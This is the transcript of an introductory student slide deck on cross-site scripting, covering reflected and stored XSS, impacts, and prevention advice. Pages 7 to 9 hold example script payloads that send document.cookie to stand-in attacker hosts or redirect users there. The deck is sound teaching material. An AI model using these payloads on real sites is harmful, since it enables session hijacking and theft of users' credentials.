Top Banner
Cross- site scriptin g (XSS) PRESENTED BY : RAJENDRA DANGWAL B.Tech( IT)
15

Xss

Jan 24, 2015

Download

Education

Sleeping Beauty

 
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Xss

Cross-site scripting (XSS)

PRESENTED BY :RAJENDRA DANGWAL

B.Tech(IT)

Page 2: Xss

04/10/2023 2

OVERVIEW CROSS-SITE SCRIPTING

XSS (-ve) effects

Cross Site Scripting Types

Who is affected by XSS?

HOW TO PREVENT XSS

Impact of XSS-Attacks

Summary

Page 3: Xss

04/10/2023 3

Cross-site scripting or XSS is a defined as a computer security vulnerability (weakness) found in web applications.

XSS allows for code injection by malicious web users into Internet pages viewed by other users.

In an XSS attack, the attacker

gains the ability to see private user IDs, passwords, credit card information and other personal identification.

CROSS-SITE SCRIPTING (XSS)

Page 4: Xss

04/10/2023 4

stealing other user’s cookies stealing their private information

performing actions on behalf of other users

redirecting to other websitesShowing ads in hidden IFRAMES and pop-ups       

XSS (-ve) effects

Page 5: Xss

04/10/2023 5

Two known types: Reflected (Non-

Persistent)• Link in other website or email

Stored (Persistent)• Forum, bulletin board, feedback form

Cross Site Scripting Types

Page 6: Xss

04/10/2023 6

The Reflected Cross-Site Scripting vulnerability is by far the most common and well-known type. These holes show up when data provided by a web client is used immediately by server-side scripts to generate a page of results for that user. If unvalidated user-supplied data is included in the resulting page without HTML encoding, this will allow client-side code to be injected into the dynamic page. A classic example of this is in site search engines: if one searches for a string which includes some HTML special characters, often the search string will be redisplayed on the result page to indicate what was searched for, or will at least include the search terms in the text box for easier editing. If all occurrences of the search terms are not HTML entity encoded, an XSS hole will result.

Reflected (Non-Persistent)…

Page 7: Xss

04/10/2023 7

Reflected (Non-Persistent)

Send e-mail with <script> tags embedded in the link.

Follows link and the script executes

1

2

http://mybank.com/account.php?variable=”><script>document.lo

cation=’http://www.badguy.com/cgi-bin/cookie.cgi’”%20+document.cookie</script>

www.badguy.com

Cookie collector

Malicious content dose not get stored in the serverThe server bounces the original input to the victim without modification

Page 8: Xss

04/10/2023 8

In persistent type of XSS attack, XSS code gets saved into persistent storage like database with other data and then it is visible to other users also. One example of this kind of attacks is possible blog websites, where hacker can add their XSS code along with the comment text and if no validation or filtering is present on the server, XSS code can successfully saved into the database. After this if anyone (other users) open the page into their browsers, XSS code can execute and can perform a variety of harmful actions. This type of attack is more vulnerable, because Hacker can steal cookies and can make modifications in the page. The risk with these kinds of attacks is any third party hacker can use this vulnerability to perform some actions on behalf of other users.

see original post<script>window.location = "http://www.hackers.com?yid=";</script>

Stored (Persistent)….

Page 9: Xss

04/10/2023 9

Stored (Persistent)

Upload malicious scripting commands to the public forum

Bro

wse

Do

wn

lao

d

mal

icio

us

cod

e

Public forum web site

Attacker

Victim

1

2 3

Great message! <script>var img=new Image();img.src= "http://www.bad.com/CookieStealer/Form1.aspx?s= "+document.cookie;</script>

The server stores the malicious contentThe server serves the malicious content in its original form

Page 10: Xss

04/10/2023 10

XSS attack’s first target is the ClientClient trusts server (Does not expect

attack)Browser executes malicious script

But second target = Company running the Server

Loss of public image (Blame)Loss of customer trustLoss of money

Who is affected by XSS?

Page 11: Xss

04/10/2023 11

Access to authentication credentials for Web application Cookies, Username and Password

Normal usersAccess to personal data (Credit card, Bank Account)

Access to business data (Bid details, construction details)

Misuse account (order expensive goods)

High privileged users Control over Web application Control/Access: Web server machineControl/Access: Backend / Database systems

Impact of XSS-Attacks

Page 12: Xss

04/10/2023 12

Clint side•Cookie Security•Verify email•Always update

Server side•Input validation (Black listing VS White listing)•Encode all meta characters send to the client•keep track of user sessions •Web application firewall•Always test

HOW TO PREVENT XSS

Page 13: Xss

04/10/2023 13

Cross-Site Scripting is extremly dangerous Identity theft, Impersonation

Cause: Missing or in-sufficient input validation

XSS-Prevention Best Practices Implement XSS-Prevention in application

Do not trust client side validation

Check and validate all input before processing

Do not echo any input value without validation

Summary

Page 14: Xss

REFERENCES

http://www.acunetix.com http://en.wikipedia.org/wiki/Cross-sit

e_scriptinghttp://www.google.com

http://www.google.com XSS Attacks: Cross Site Scripting

Exploits and Defense :-Seth Fogie (Author), Jeremiah Grossman (Author)

Page 15: Xss

04/10/2023 15